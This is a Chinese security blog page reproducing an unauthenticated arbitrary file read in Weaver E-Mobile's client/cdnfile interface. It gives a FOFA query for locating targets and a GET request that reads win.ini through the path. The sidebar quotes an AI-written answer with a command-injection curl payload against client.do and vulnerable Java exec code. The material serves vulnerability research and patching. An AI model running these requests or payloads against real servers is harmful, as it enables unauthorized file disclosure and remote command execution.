泛微E-Mobile client/cdnfile 任意文件读取漏洞复现

0xSecl

已于 2024-09-18 17:50:50 修改

阅读量2.1k

点赞数 23

分类专栏：漏洞复现v1 文章标签： web安全安全

于 2024-09-18 17:50:28 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/142339425

版权

漏洞复现v1 专栏收录该内容

997 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

0x01 产品简介

泛微E-Mobile是一款由泛微网络科技股份有限公司开发的移动办公产品，该产品专门为手机、平板电脑等移动终端用户设计，旨在提供便捷、高效的移动办公体验。适用于企业高管和有移动办公需求的业务部相关员工使用，特别适合于已有内部OA系统的大中型企业机构，尤其是企业或部门有较多的分支机构。近期推出的鸿蒙原生应用基线版本就实现了跨设备联动、应用接续等创新功能，为用户带来更加高效、便捷的移动办公体验。未来，泛微E-Mobile将继续引领数字化办公浪潮，为更多企业提供优质的移动办公解决方案。

0x02 漏洞概述

泛微E-Mobile client/cdnfile 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：app="泛微-EMobile"

0x04 漏洞复现

Windows-PoC

GET /client/cdnfile/1C/Windows/win.ini?windows HTTP/1.1
Host: 
User-Agent:

了解本专栏

订阅专栏解锁全文

超级会员免费看

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

0xSecl

关注关注

23
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
打赏
打赏
打赏举报

举报

专栏目录

订阅专栏

泛微e-mobile cdnfile 任意文件读取复现

iSee857的博客

09-19

1798

泛微e-mobile遵循以客户为中心，以企业中的事务为导向的出发点，帮助企业构建以员工为核心的移动统一办公平台。e-mobile可满足企业日常管理中的绝大部分管理需求，诸如市场销售、项目、采购、研发、客服、财务、人事、行政等；同时e-mobile可帮助企业实现面向不同用户量身定制的移动办公入口，包括企业员工、供应商、代理商、合作伙伴、投资费以及终端客户等整个供应链条上的关系主体，满足为企业全方位的移动办公需求。厂商已发布补丁请及时修复。

智能AC管理系统HTTPD-AC 1.0服务存在未授权访问漏洞

nnn2188185的博客

09-19

218

微信公众号搜索：南风漏洞复现文库该文章南风漏洞复现文库公众号首发智能AC管理系统HTTPD-AC 1.0服务。

参与评论您还未登录，请先登录后发表或查看评论

泛微E-Mobile client/cdnfile 任意文件读取漏洞

一个努力学习网安的小牛马

09-20

894

泛微E-Mobile client/cdnfile 接口存在任意文件读取漏洞，攻击者可以读取系统的敏感文件。本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任。

【漏洞复现】泛微e-cology——resourceservlet——任意文件读取

LongL_GuYu的博客

07-09

1118

泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公解决方案。其`resourceservlet`接口存在任意文件读取漏洞，未授权攻击者可以利用其读取网站配置文件等敏感信息。

[漏洞复现]泛微e-mobile cdnfile文件读取漏洞分析复现

LiangYueSec的博客

09-20

541

[漏洞复现]泛微e-mobile cdnfile文件读取漏洞分析复现

【漏洞复现】泛微-ecology-任意文件读取-ResourceServlet

知黑而守白

07-15

329

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology ResourceServlet接口处存在文件读取漏洞，恶意攻击者可能利用该漏洞读取服务器上的敏感文件，例如客户记录、财务数据或源代码，导致数据泄露。

泛微云桥 e-Bridge 任意文件读取.md

04-11

泛微云桥 e-Bridge 任意文件读取

泛微移动管理平台E-mobile client/cdnfile/接口存在任意文件读取附POC

nnn2188185的博客

09-23

577

泛微移动管理平台E-mobile client/cdnfile/接口存在任意文件读取

【未公开0day】泛微*-Mobile cdnfile 任意文件读取漏洞【附poc下载】

苏诺木安全团队

10-11

748

某微-*Mobile是一款专为移动办公设计的企业级应用，旨在提升组织的工作效率和协同能力。它提供了丰富的功能，如流程审批、日程管理、任务分配和即时通讯，支持多种移动设备和操作系统，确保用户可以随时随地访问和管理工作信息。通过与泛微其他系统的无缝集成，*Mobile帮助企业实现数字化转型，优化业务流程，提高决策效率。其接口cdnfile存在SSRF漏洞，攻击者可通过该漏洞获取系统敏感文件信息。官方已更新补丁，请升级至最新版本。

【POC下载】泛微*-Mobile cdnfile 任意文件读取漏洞【0day】

苏诺木安全团队

10-11

433

【POC下载】泛微*-Mobile cdnfile 任意文件读取漏洞【0day】

【漏洞复现】泛微 E-Weaver ProcessOverRequestByXml 任意文件读取漏洞

https://blog.echo234.cn/

03-31

1016

泛微E-Weaver旨在帮助企业实现信息化管理、业务协同和数字化转型。该平台提供了一系列的功能模块，包括企业门户、流程管理、文档管理、知识管理、协同办公、人力资源管理、客户关系管理等。这些模块可以根据企业的实际需求进行定制和配置，以满足不同行业和组织的特定需求。泛微 E-Weaver ProcessOverRequestByXml存在任意文件读取漏洞，攻击者可通过该漏洞获取敏感信息

【漏洞复现】泛微e-Mobile 移动管理平台文件上传漏洞

qq_34780861的博客

04-25

3917

泛微e-Mobile移动管理平台是一款由泛微软件开发的企业移动办公解决方案。它提供了一系列的功能和工具，使企业员工能够通过移动设备随时随地地进行办公和协作。泛微e-Mobile 移动管理平台存在任意文件上传漏洞。

【漏洞复现】泛微OA E-Cology ln.FileDownload文件读取漏洞

晚风不及你

05-13

1119

泛微OA E-Cology是一款面向中大型组织的数字化办公产品，它基于全新的设计理念和管理思想，旨在为中大型组织创建一个全新的高效协同办公环境。泛微OA E-Cology ln.FileDownload存在任意文件读取漏洞，允许未经授权的用户读取服务器上的敏感配置文件。Fofa-Query: app="泛微-OA（e-cology）"1.泛微OA E-Cology。2.漏洞POC详情见公众号文章。

【漏洞复现】泛微-ecology-任意文件读取-ln.FileDownload

知黑而守白

07-15

517

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology接口处存在文件读取漏洞，恶意攻击者可能利用该漏洞读取服务器上的敏感文件，例如客户记录、财务数据或源代码，导致数据泄露。

cdnfly离线版自建CDN并配置云端

bangshabgni的博客

02-01

2409

屏蔽境外防御有效减轻服务器被境外攻击风险，可以全部禁止境外，但最少必须留有一个节点境外可以访问，不然境外用户或者对接的网站访问或者对接不了。主控服务器配置要求最低2-8（搭建测试也可以用2-2）如果你节点服务器防御低你可以屏蔽境外IP。节点服务器配置要求最低2-2。

erthre的博客

04-16

2726

知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。(img-tih2xQ74-1713254808442)]app.name=“泛微 e-cology 9.0 OA”

泛微e-Mobile移动管理平台 error 远程命令执行漏洞复现

iSee857的博客

11-01

1000

泛微E-Mobile基于泛微成熟产品e-cology，它将协同OA上的公文、流程、通讯录、日程、文件管理、通知公告等应用扩展到手机移动终端，为用户提供更方便更灵活的移动办公应用。移动OA对突发性事件和紧急性事件的处理有极其高效和出色的支持，是管理者、销售人员等经常有外出办公、出差需求的商务人士的贴心的掌上办公产品，适合于已有内部OA系统的大中型企业机构，尤其是企业或部门有较多的分支机构。Fofa：app="泛微-EMobile"厂商已发布补丁请即时修复。

2401_83974087的博客

04-14

626

app.name=“泛微 e-cology 9.0 OA”

Staticfile CDN 推荐

街头看日出的博客

07-30

4866

泛微E-Mobile-client.do存在命令执行漏洞测试背景

最新发布

03-29

<think>嗯，用户想了解泛微E-Mobile的client.do命令执行漏洞的测试背景、测试方法、形成原因和安全修复措施。首先，我需要回忆一下之前提供的引用内容，看看里面有没有相关的信息。引用1和引用2提到了漏洞的存在，攻击者通过/client.do执行任意命令，导致服务器权限被获取。漏洞的原因是用户输入被直接传递给底层操作系统的命令执行函数，没有进行充分的过滤，比如特殊字符或命令序列的检查。接下来，测试背景方面，用户可能需要知道为什么这个漏洞会被关注，比如漏洞的影响范围，泛微E-Mobile的使用情况，以及漏洞被公开的时间等。根据引用中的信息，泛微E-Mobile 6.0版本存在这个问题，已经被确认可利用，所以测试背景应该包括这些版本信息和漏洞的严重性。测试方法的话，引用里提到复现环境可能涉及构造特定的请求，比如发送带有恶意参数的HTTP请求到/client.do接口。可能需要使用curl或者Postman工具，发送包含系统命令的payload，例如执行whoami或者反弹shell的命令。测试步骤需要详细说明如何构造请求，可能涉及参数注入的位置，比如通过GET或POST参数传递恶意命令。形成原因部分，主要是输入验证不严格，用户提供的参数未经处理直接传递给系统命令执行函数，比如Java中的Runtime.exec()或者类似的方法。攻击者通过插入特殊字符如分号、管道符等来拼接命令，导致任意命令执行。这里需要解释为什么这样的漏洞会发生，可能涉及开发过程中的安全疏忽，比如未对用户输入进行过滤和转义。安全修复措施方面，应该包括官方补丁的升级，比如泛微发布的更新版本。另外，可以建议输入验证和过滤，使用白名单机制限制允许的字符，对传入的参数进行严格检查，避免直接拼接命令。同时，使用最小权限原则运行应用服务，降低被攻击后的影响范围。可能还需要配置WAF规则来拦截恶意请求，加强服务器的安全防护。用户可能还关心如何验证修复是否有效，可能需要重新运行测试方法，检查是否还能执行命令。另外，是否需要其他防护措施，比如日志监控和入侵检测系统，来及时发现攻击行为。需要注意的是，回答时要保持结构清晰，分点说明，并且引用提供的资料作为支持。同时，生成的相关问题要围绕漏洞的深入分析、影响范围、其他类似漏洞案例以及安全加固建议等方面展开，帮助用户进一步了解相关知识。</think>### 泛微E-Mobile client.do命令执行漏洞分析 #### 一、测试背景 1. **漏洞影响范围** 泛微E-Mobile 6.0版本存在命令执行漏洞，攻击者通过构造恶意请求到接口`/client.do`，可直接在服务器上执行任意系统命令，导致服务器权限被完全控制[^1][^2]。该漏洞属于高危漏洞，适用于未及时升级补丁的泛微E-Mobile用户。 2. **漏洞公开时间** 漏洞最早于2021年被公开披露，并已确认存在实际攻击案例。 --- #### 二、测试方法（复现步骤） 1. **构造恶意请求** 通过HTTP请求向目标服务器发送包含命令注入的Payload，例如： ```bash curl -X POST "http://target/client.do" -d "param=;whoami" ``` 此处`whoami`可替换为其他系统命令（如`id`、`cat /etc/passwd`或反弹Shell命令）。 2. **验证漏洞存在性** 若服务器返回响应中包含命令执行结果（如当前用户信息），则漏洞存在。 --- #### 三、形成原因 1. **输入验证缺失** 漏洞源于`client.do`接口对用户输入的参数未进行严格过滤，直接将参数内容拼接至系统命令中执行。例如，代码中可能包含以下危险操作： ```java String cmd = "echo " + request.getParameter("param"); Runtime.getRuntime().exec(cmd); ``` 2. **特殊字符绕过** 攻击者通过注入分号`;`、反引号```或管道符`|`等，将恶意命令与原有逻辑分离，实现任意命令执行[^2]。 --- #### 四、安全修复方案 1. **官方补丁升级** 泛微官方已发布安全更新，建议升级至最新版本，并禁用存在风险的接口。 2. **输入过滤与白名单** 对传入参数进行严格校验，禁止特殊字符（如`;`、`&`、`|`），或仅允许特定格式的输入（如仅字母数字）。 3. **权限最小化** 运行泛微服务的账户应配置为低权限用户，避免使用`root`或`Administrator`权限。 4. **WAF防护** 部署Web应用防火墙（WAF），拦截包含可疑命令的请求（如`/bin/bash`、`curl`等关键词）。 ---